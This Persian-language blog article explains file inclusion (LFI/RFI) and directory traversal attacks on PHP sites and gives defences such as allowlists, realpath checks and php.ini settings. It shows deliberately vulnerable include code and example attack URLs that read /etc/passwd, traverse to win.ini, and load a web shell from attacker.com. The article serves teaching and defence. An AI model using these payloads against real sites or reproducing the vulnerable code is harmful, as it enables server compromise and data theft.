حمله Remote / Local File Inclusion (RFI/LFI) و Directory Traversal

حمله Remote / Local File Inclusion (RFI/LFI) و Directory Traversal

این سه حمله از رایج‌ترین و مهم‌ترین تهدیدات امنیتی در برنامه‌های تحت‌وب هستند که معمولاً به‌دلیل ضعف در اعتبارسنجی ورودی‌ها و تنظیمات اشتباه سرور رخ می‌دهند. در صورت موفقیت، مهاجم می‌تواند به فایل‌های حساس سیستم دسترسی پیدا کند، کد مخرب اجرا کند یا کنترل کامل سرور را به دست بگیرد.


1. File Inclusion چیست؟

File Inclusion به معنی درج فایل‌ها در صفحات وب است. بسیاری از سایت‌ها برای بارگذاری یک کامپوننت، زبان، قالب یا تنظیمات، فایل‌هایی را به صورت دینامیک Load می‌کنند، مثلاً:

include($_GET['page'] . ".php");

اگر ورودی کنترل نشود، مهاجم می‌تواند هر فایل دلخواه را بارگذاری کند.

به همین دلیل دو نوع مهم در این دسته وجود دارد:

  • Local File Inclusion (LFI)

  • Remote File Inclusion (RFI)


2. حمله Local File Inclusion (LFI)

در حمله LFI مهاجم تلاش می‌کند فایل‌های محلی سرور را بارگذاری کند. یعنی فایل‌هایی که روی همان سرور وجود دارند.

مثال ساده از LFI

آدرس آسیب‌پذیر:

https://example.com/?page=profile

کد آسیب‌پذیر:

include($_GET['page'] . ".php");

مهاجم مقدار پارامتر را تغییر می‌دهد:

https://example.com/?page=../../../../etc/passwd

نتیجه: نمایش محتوای فایل حساس /etc/passwd.

خطرات LFI
  • خواندن فایل‌های حساس (config، log، passwd و…)

  • اجرای کد مخرب از طریق Log Poisoning

  • دور زدن سیستم احراز هویت

  • دسترسی کامل به سرور


3. حمله Remote File Inclusion (RFI)

در این حمله، مهاجم به برنامه دستور می‌دهد که فایل را از یک سرور خارجی بارگذاری کند.

یعنی فایل مخرب از طریق URL لود می‌شود:

https://example.com/?page=http://attacker.com/shell.txt

کد:

include($_GET['page']);
خطرات RFI
  • اجرای مستقیم کد مخرب (Web Shell)

  • کنترل کامل سرور

  • ایجاد بک‌دور

  • تزریق اسکریپت از راه دور

شرایط لازم برای RFI
  • allow_url_include فعال باشد

  • اعتبارسنجی ورودی وجود نداشته باشد


4. حمله Directory Traversal

این حمله با هدف دسترسی به مسیرهای خارج از محدوده مجاز انجام می‌شود.

مهاجم از الگوی ../ برای خروج از پوشه مجاز استفاده می‌کند:

https://example.com/?file=../../../../windows/win.ini
خطرات Directory Traversal
  • خواندن فایل‌های خصوصی و حساس

  • افشای Credential ها

  • استخراج سورس‌کد backend

  • نشت اطلاعات کاربران


5. تفاوت LFI ،RFI و Directory Traversal

حمله توضیح سطح خطر
LFI خواندن یا اجرای فایل‌های محلی سرور زیاد
RFI بارگذاری فایل مخرب از سرور خارجی بسیار زیاد
Directory Traversal دسترسی به فایل‌ها با خروج از مسیر مجاز متوسط تا زیاد

6. مثال‌های واقعی از پیامدهای این حملات

  • سرقت اطلاعات کاربران

  • هک شدن کامل سرورهای PHP

  • دسترسی غیرمجاز به config دیتابیس

  • اجرای کد PHP و ایجاد Shell

  • نفوذ به هاست اشتراکی و دسترسی به سایت‌های دیگر روی آن


7. روش‌های جلوگیری از LFI/RFI/Directory Traversal

الف – اعتبارسنجی ورودی
  • استفاده از allowlist

  • محدود کردن ورودی به نام فایل‌های مشخص

مثال امن:

$allowed = ['home', 'profile', 'contact'];
$page = $_GET['page'];

if (!in_array($page, $allowed)) {
die("Invalid request");
}

include("$page.php");


ب – غیرفعال کردن include از راه دور

در فایل php.ini:

allow_url_fopen = Off
allow_url_include = Off

ج – استفاده از realpath و جلوگیری از ../
$path = realpath("pages/" . $_GET['file']);
if (strpos($path, realpath("pages/")) !== 0) {
die("Access denied");
}
include($path);

د – تنظیم دسترسی فایل‌ها
  • محدود کردن دسترسی Apache/Nginx

  • عدم ذخیره فایل‌های حساس در مسیر public


حملات LFI، RFI و Directory Traversal از خطرناک‌ترین حملات در وب‌سایت‌ها هستند که معمولاً به دلیل اعتبارسنجی ضعیف ورودی‌ها، تنظیمات اشتباه سرور و عدم تفکیک مناسب فایل‌ها به وجود می‌آیند.

برای جلوگیری از این حملات:

  • ورودی‌ها را اعتبارسنجی کنید

  • دسترسی پوشه‌ها را محدود کنید

  • بارگذاری فایل از راه دور را غیرفعال کنید

  • از توابع امن مانند realpath استفاده کنید

رضا فروزان
رضا فروزان

علاقه‌ی من به تکنولوژی از سال‌های نخستین تحصیلم آغاز شد و به مرور، به یک مسیر حرفه‌ای تبدیل شد. در این مسیر، با پروژه‌های متنوعی در زمینه‌های طراحی وب‌سایت، تولید نرم‌افزار، امنیت داده‌ها و پیاده‌سازی شبکه‌های سازمانی همکاری داشته‌ام و همواره تلاش کرده‌ام تا هر پروژه را با بالاترین کیفیت، خلاقیت و دقت اجرا کنم

مقالات مرتبط
پاسخ دهید

آدرس ایمیل شما منتشر نخواهد شد.قسمتهای مورد نیاز علامت گذاری شده اند *